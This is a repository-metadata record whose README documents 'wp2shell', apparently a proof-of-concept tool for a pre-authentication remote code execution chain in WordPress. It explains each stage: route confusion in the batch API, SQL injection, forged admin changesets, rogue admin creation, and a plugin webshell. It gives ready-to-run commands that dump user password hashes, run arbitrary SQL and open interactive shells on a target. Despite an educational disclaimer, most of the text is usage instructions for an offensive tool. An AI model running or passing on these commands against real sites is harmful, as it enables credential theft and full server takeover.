[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-96445":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":16,"stars7d":16,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":17,"compositeScore":18,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":19,"hasPages":19,"topics":21,"createdAt":10,"pushedAt":10,"updatedAt":27,"readmeContent":28,"aiSummary":10,"trendingCount":15,"starSnapshotCount":15,"syncStatus":29,"lastSyncTime":30,"discoverSource":31},96445,"wp2shell-PoC","arvindear\u002Fwp2shell-PoC","arvindear","CVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept","",null,"Python",563,53,6,0,1,3,9.2,false,"main",[22,23,24,25,26],"cve-2026-60137","cve-2026-63030","wp2shell","wp2shell-exploit","wp2shell-poc","2026-09-21 02:04:32","# wp2shell-PoC\n \n> **⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.**\n\n\n## Overview\n\nProof-of-concept for the wp2shell vulnerability chain affecting WordPress Core, combining CVE-2026-63030 and CVE-2026-60137. The project demonstrates the interaction between the REST API Batch route confusion vulnerability and a WP_Query SQL injection, resulting in an unauthenticated path to full WordPress compromise and remote code execution (RCE).\n\n**Read the full advisory [here](https:\u002F\u002Fwp2shell.com\u002F)**\n\n# How it works\n\n**wp2shell** is a pre-authentication RCE chain in WordPress core, combining CVE-2026-63030 (route confusion in the batch REST endpoint) and CVE-2026-60137 (SQL injection in WP_Query).\n\n**The route confusion:** `\u002Fwp-json\u002Fbatch\u002Fv1` processes multiple sub-requests via parallel `$matches` and `$validation` arrays indexed by position. A sub-request with a malformed path (e.g., `http:\u002F\u002F:`) is appended to `$validation` but not `$matches` due to a `continue` statement, desynchronizing the arrays. Later requests are dispatched under the handler meant for the *next* request, bypassing schema validation and permission checks.\n\n**The SQL injection:** Two nested batch calls exploit this. The outer batch bypasses the method allow-list (normally blocking GET). The inner batch delivers a scalar `author_exclude` string to `GET \u002Fwp\u002Fv2\u002Fposts` - the desync routes it past validation, and `WP_Query` interpolates the unsanitized string directly into SQL, yielding a UNION-based blind injection.\n\n**Cache poisoning:** The SQLi returns forged `WP_Post` objects, which WordPress caches in-memory. These fake posts contain `[embed]` shortcodes that cause WordPress to create real `oembed_cache` database rows from the fake references.\n\n**Changeset escalation:** Using the SQLi, the attacker forges a `customize_changeset` post in-memory with `\"user_id\": 1` in its JSON. A cycle-detection gadget triggers `wp_update_post()` without overwriting `post_content`, preserving the attacker's payload. Applying the changeset temporarily assumes the administrator's identity.\n\n**Hook re-entry:** A fabricated post with status `parse` and type `request` fires the `parse_request` hook, replaying the entire batch request with the assumed admin role. This time, a `POST \u002Fwp\u002Fv2\u002Fusers` sub-request succeeds, creating a new admin account.\n\n**Code execution:** The attacker logs in as the created admin and uploads a malicious plugin to run arbitrary commands.\n\n# Affected versions\n\n| Version| Status |\n|---------------|--------|\n| WordPress 6.9.0 – 6.9.4 | Vulnerable |\n| WordPress 7.0.0 – 7.0.1 | Vulnerable |\n| WordPress 6.9.5 | Fixed |\n| WordPress 7.0.2+ | Fixed |\n\n\n# Usage\n\n**To use this PoC, the only requirement is Python 3.8+.**\n\nRun it from the repository directory to perform a vulnerability check:\n\n```bash\nwp2shell.py http:\u002F\u002Fvictim.com\n```\n\n### Check Mode (default)\n\nPerforms a single vulnerability check. Sends a benign batch marker probe that detects the route confusion bug without executing SQLi payloads. A vulnerable target returns HTTP 207 with the error pattern `parse_path_failed`, `block_cannot_read`, and `rest_batch_not_allowed`.\n\nUse `--confirm-sqli` to also send an active SQLi confirmation payload. The confirmation tries UNION reflection first, then falls back to timing-based probes.\n\n **Check single target (default mode)**\n \n```bash\nwp2shell.py http:\u002F\u002Ftarget.com\n```\n\n**Check with explicit mode**\n\n```bash\nCheck with explicit mode\nwp2shell.py http:\u002F\u002Ftarget.com --check\n```\n\n**Check with SQLi confirmation**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --check --confirm-sqli\n```\n\n\n### Read Mode - Extract Data Through SQL Injection\n\nExtracts data from the database using the pre-authentication SQL injection. By default uses `--technique auto`, which tries available methods in this order:\n\n- **union** - forges a fake `WP_Post` row via UNION and reads its title back from the REST response as `||HEX(value)||`. One request per value. Fastest.\n- **error** - uses `EXTRACTVALUE`\u002F`UPDATEXML` to leak ~15 bytes per request. Works when the target reflects MySQL errors (e.g., `WP_DEBUG_DISPLAY` on).\n- **blind** - boolean binary search, ~8 requests per character. Reads the `X-WP-Total` header as the true\u002Ffalse signal. Works even when no data is reflected.\n\nForce a specific technique with `--technique union|error|blind`. These read paths are read-only and do not write to the database.\n\n\n**Server fingerprint (default query)**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --read\n```\n\n**Dump logins and password hashes**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --read --preset users\n```\n\n**Custom SQL query**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --read --query \"SELECT @@version\"\n```\n\n**Force blind technique**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --read --technique blind --query \"SELECT user_login FROM wp_users LIMIT 1\"\n```\n\n**Extract with error-based technique**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --read --technique error --query \"SELECT user_pass FROM wp_users LIMIT 1\"\n```\n\n### Shell Mode \n\nExecutes commands on the target server. Works in two modes:\n\nWith credentials (logs in as existing admin and uploads plugin shell):\n\n\n**Execute specific command**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --shell --user admin --password '\u003Crecovered>' --cmd id\n```\n\n**Interactive shell**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --shell --user admin --password '\u003Crecovered>' --interactive\nWithout credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):\n```\n\n**Execute single command**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --shell --cmd id\n```\n\n**Interactive shell**\n\n```bash\nwp2shell.py http:\u002F\u002Ftarget.com --shell --interactive\n```\n\nThe plugin webshell is uploaded with a random path and a per-run token. The uploaded webshell is removed automatically. When the pre-auth bridge creates an administrator, that generated account is removed automatically after the shell session finishes.\n\n\n**All flags list:**\n\n| Flag | Description |\n| :--- | :--- |\n| `--check` | Run vulnerability check (default mode if no other mode specified) |\n| `--read` | Extract data via SQL injection |\n| `--shell` | Execute commands on the server |\n| `--query` | Custom SQL query for read mode |\n| `--preset` | Predefined query preset (`users`, `config`, `versions`) |\n| `--technique` | SQLi extraction technique: `union`, `error`, `blind`, or `auto` (default) |\n| `--confirm-sqli` | Send SQLi confirmation payload after check |\n| `--cmd` | Command to execute in shell mode (default: `id`) |\n| `--interactive`, `-i` | Interactive shell mode |\n| `--user` | Admin username for authenticated shell |\n| `--password` | Admin password for authenticated shell |\n| `--proxy` | HTTP\u002FHTTPS proxy (e.g., `http:\u002F\u002F127.0.0.1:8080`) |\n| `--timeout` | Request timeout in seconds (default: 30) |\n| `--verbose`, `-v` | Verbose output |\n\n\n# References:\n1. https:\u002F\u002Fslcyber.io\u002Fresearch-center\u002Fexploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6\u002F\n2. https:\u002F\u002Fwww.picussecurity.com\u002Fresource\u002Fblog\u002Fcve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained\n\n# Disclaimer\n\nThis tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.\n\n\n\n\n\n\n\n\n\n\n\n",2,"2026-09-20 02:30:05","CREATED_QUERY"]